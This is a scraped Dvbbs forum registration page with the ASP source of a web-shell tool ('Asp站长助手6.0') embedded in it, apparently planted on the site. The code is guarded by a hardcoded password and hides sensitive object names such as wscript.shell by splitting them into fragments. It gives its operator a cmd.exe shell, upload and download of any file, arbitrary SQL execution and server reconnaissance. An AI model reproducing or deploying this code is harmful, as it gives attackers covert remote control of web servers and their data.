Powered By ：Dvbbs Version 7.0.0 Sp2
Copyright ©2000 - 2002 宝应电大
<%
'########版权所有 - 桂林老兵站www.gxgl.com
Server.ScriptTimeout=50000
Response.Buffer = True
On Error Resume Next
ApplicationName = "Asp站长助手6.0" '#####程序名称/标题
UserPass = "19861115" '#####初始登录密码
ShowFileIco = True '#####是否显示图标,False为用文字图标
IcoPath = "http://www.GXGL.com/images/FileType/" '#####图标目录,不必修改
URL = Request.ServerVariables("URL")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
BackUrl = Request.ServerVariables("HTTP_REFERER")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = ""
If Session("GXGL")<>UserPass Then
If Request.Form("LPass")<>"" Then
If Request.Form("LPass")=UserPass Then
Session("GXGL")=UserPass
Response.Redirect BackUrl
Else
response.write"验证失败！"
End If
Else
SI="
欢迎使用ASP站长助手
"
SI=SI&""
Response.Write SI
End If
Response.End
End If
sub ShowErr()
If Err Then
Response.Write"
" & Err.Description & "
"
Err.Clear:Response.Flush
End If
end sub
Dim ObT(13,2)
ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
ObT(0,2) = "文件操作组件"
ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
ObT(1,2) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS压缩组件"
ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
ObT(4,2) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "数据库连接组件"
ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
ObT(6,2) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "数据传输组件"
For i=0 To 13
Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
ObT(i,1)=IsObj
Next
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
Function IsIco(ia,ib,ta)
If ShowFileIco=true Then
IsIco = " ![]("&IcoPath&ia&") "
If ib<>"" Then
IsIco = "![]("&IcoPath&ib&") "
End If
Else
IsIco = " "&ta&" "
End If
End Function
Function MainForm()
SI=""
SI=SI&""
SI=SI&"| "
SI=SI&" | | "
SI=SI&" | "
SI=SI&""
SI=SI&""
SI=SI&" | "
Response.Write SI
End Function
Function MainMenu()
SI=""
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","computer.gif","o")&"FSO文件操作模块"
SI=SI&" | "
If Not ObT(0,1) Then
SI=SI&" | "
Else
Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing
SI=SI&"| "
SI=SI& IsIco("minus.gif","folder.gif","0")
SI=SI&"WEB根目录"
SI=SI&" | "
SI=SI&"| "
SI=SI& IsIco("minus.gif","folder.gif","0")
SI=SI&"程序目录"
SI=SI&" | "
SI=SI&"| "
SI=SI& IsIco("minus.gif","newfolder.gif","1")
SI=SI&"新建目录"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","newfile.gif","2")
SI=SI&"新建文本"
SI=SI&" | "
End If
Response.Write SI:SI=""
SI=SI&"| "
SI=SI&IsIco("minus.gif","main.gif","8")
SI=SI&"文件上传模块"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("plus.gif","main.gif","o")
SI=SI&"数据库操作模块"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","newfile.gif","4")
SI=SI&"建立MDB文件"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","mdb.gif","4")
SI=SI&"数据库操作"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","zip.gif","4")
SI=SI&"压缩MDB文件"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","cmd.gif","o")
SI=SI&"命令行模块"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","main.gif","f")
SI=SI&"退出登录"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","main.gif","f")
SI=SI&"服务器信息"
SI=SI&" | "
SI=SI&"| "
SI=SI&IsIco("minus.gif","htm.gif","f")
SI=SI&"桂林老兵站"
SI=SI&" | "
Response.Write SI : SI=""
End Function
Function ServerInfo()
SI="
"
SI=SI&"| 服务器组件信息 | "
SI=SI&"| 服务器CPU数量 | | "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&" | "
SI=SI&"| 服务器操作系统 | | "&Request.ServerVariables("OS")&" | "
SI=SI&"| WEB服务器版本 | | "&Request.ServerVariables("SERVER_SOFTWARE")&" | "
For i=0 To 13
SI=SI&"| "&ObT(i,0)&" | "&ObT(i,1)&" | "&ObT(i,2)&" | "
Next
Response.Write SI
End Function
Function DownFile(Path)
Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
Response.AddHeader "Content-Disposition", "attachment; filename=" & Path
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
HTMLEncode = S
end if
End Function
Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="
请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="
文件"&UName&"上传成功！"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
Response.Write SI
ShowErr()
Response.End
End If
SI="
"
Response.Write SI
End Function
Function CmdShell()
If Request("SP")<>"" Then:ShellPath = Request("SP"):Else:ShellPath = "cmd.exe":End If
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI=""
Response.Write SI
End Function
Function CreateMdb(Path)
SI="
"
Set C = CreateObject(ObT(2,0))
C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
Set C = Nothing
If Err.number=0 Then
SI = SI & Path & "建立成功!"
End If
SI=SI&BackUrl
Response.Write SI
End function
Function CompactMdb(Path)
If Not ObT(0,1) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path
Set C=Nothing
Else
Set FSO=CreateObject(ObT(0,1))
If FSO.FileExists(Path) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak"
Set C=Nothing
FSO.DeleteFile Path
FSO.MoveFile Path&"_bak",Path
Else
SI="
数据库"&Path&"没有发现！"
Err.number=1
End If
Set FSO=Nothing
End If
If Err.number=0 Then
SI="
数据库"&Path&"压缩成功！"
End If
SI=SI&BackUrl
Response.Write SI
End Function
Function DbManager()
SqlStr=Trim(Request.Form("SqlStr"))
DbStr=Request.Form("DbStr")
SI=SI&""
Response.Write SI:SI=""
If Len(DbStr)>40 Then
Set Conn=CreateObject(ObT(5,0))
Conn.Open DbStr
Set Rs=Conn.OpenSchema(20)
SI=SI&"表
名 | "
Rs.MoveFirst
Do While Not Rs.Eof
If Rs("TABLE_TYPE")="TABLE" then
TName=Rs("TABLE_NAME")
SI=SI&"[ del ]
"
SI=SI&""&TName&" | "
End If
Rs.MoveNext
Loop
Set Rs=Nothing
SI=SI&"
"
Response.Write SI:SI=""
If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then
SI=SI&"执行语句："&SqlStr
Set Rs=CreateObject("Adodb.Recordset")
Rs.open SqlStr,Conn,1,1
FN=Rs.Fields.Count
RC=Rs.RecordCount
Rs.PageSize=20
Count=Rs.PageSize
PN=Rs.PageCount
Page=request("Page")
If Page<>"" Then Page=Clng(Page)
If Page="" Or Page=0 Then Page=1
If Page>PN Then Page=PN
If Page>1 Then Rs.absolutepage=Page
SI=SI&" | "
For n=0 to FN-1
Set Fld=Rs.Fields.Item(n)
SI=SI&""&Fld.Name&" | "
Set Fld=nothing
Next
SI=SI&" "
Do While Not(Rs.Eof or Rs.Bof) And Count>0
Count=Count-1
Bgcolor="#EFEFEF"
SI=SI&"| x | "
For i=0 To FN-1
If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if
If RC=1 Then
ColInfo=HTMLEncode(Rs(i))
Else
ColInfo=HTMLEncode(Left(Rs(i),50))
End If
SI=SI&""&ColInfo&" | "
Next
SI=SI&" "
Rs.MoveNext
Loop
Response.Write SI:SI=""
SqlStr=HtmlEnCode(SqlStr)
SI=SI&"记录数："&RC&" 页码："&Page&"/"&PN
If PN>1 Then
SI=SI&" 首页 上一页 "
If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
For i=Sp To Sp+8
If i>PN Then Exit For
If i=Page Then
SI=SI&i&" "
Else
SI=SI&""&i&" "
End If
Next
SI=SI&" 下一页 尾页"
End If
SI=SI&"
|
"
Rs.Close:Set Rs=Nothing
Response.Write SI:SI=""
Else
Conn.Execute(SqlStr)
SI=SI&"SQL语句："&SqlStr
End If
Response.Write SI:SI=""
End If
Conn.Close
Set Conn=Nothing
End If
End Function
%>
<%=ApplicationName&" - "&ServerIP%>
|
|
注册 
宝应电大论坛 → 论坛注册 → 论坛注册